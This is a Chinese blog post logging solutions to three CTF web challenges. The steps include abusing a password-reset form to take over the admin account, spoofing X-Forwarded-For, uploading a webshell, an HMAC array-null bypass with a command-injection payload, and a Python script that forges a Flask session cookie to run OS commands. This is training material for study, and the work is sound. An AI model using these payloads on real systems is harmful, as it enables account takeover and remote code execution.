刷题记录(五)

攻防世界-bug

启动环境发现有登陆、注册、找回密码三个功能

随便注册一个用户

登陆以后,点击管理发现后台做了检测,非admin不让用

在初始界面有一个findpwd的链接,发现修改密码的时候会携带用户名,尝试将用户名改成admin看是否存在越权

改成admin,成功修改,再用admin账号进行登陆。访问admin时报了ip不允许,抓包加X-Forwarded-for: 127.0.0.1。

模块与文件相关猜测存在文件上传功能

上传木马,经过测试上传的结果为:

buuctf-blackcat

给了一首歌听,下载mp3文件后,用strings命令进行查看,得到以下源码:

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
    die('
echo exec("nc".$_POST['One-ear']);

后台接收POST参数Black-Cat-SheriffWhite-cat-monitorOne-ear
hash_hmac($algo,$data,$key)函数:
当传入的$data是数组时,该函数返回结果为null,那么可以通过控制One-ear的值来控制第二次hash_hmac函数的结果。
One-ear参数传递要执行的命令,可以在要执行的命令前加;闭合nc命令。
提前计算出$hh的值,将其赋值给Black-Cat-Sheriff
最后将White-cat-monitor以数组的形式传递。
payload:

White-cat-monitor[]=0&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

buuctf-Supercalc 1

启动环境,是一个计算器,可以进行正常的运算操作,当输入0/0的时候有错误回显:

尝试模板注入:0/0{{1+1}},页面报错

可以用注释符#进行绕过:0/0#{{1+1}}

请求包里存在session字段,用session_manager进行解密,看里面的内容:

code字段就是服务端python脚本执行的代码。
查看session加密的密钥:0/0{{config}}

拿到session加密密钥以后编写python脚本构造session:

from flask.sessions import SecureCookieSessionInterface
secret_key = "your secret key"
class FakeApp:
    secret_key = secret_key
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    {"history": [{"code": '__import__("os").popen("ls").read()'}]}
)
print(cookie)
#eyJoaXN0b3J5IjpbeyJjb2RlIjoiX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwibHNcIikucmVhZCgpIn1dfQ.ZO1lyw.ECpyaaSGzONPgKTrr4LgSx5CR9w

再构造session执行cat flag.txt命令,即可得到flag。

posted @ 2023-08-29 11:41  ordigard  阅读(11)  评论(0编辑  收藏  举报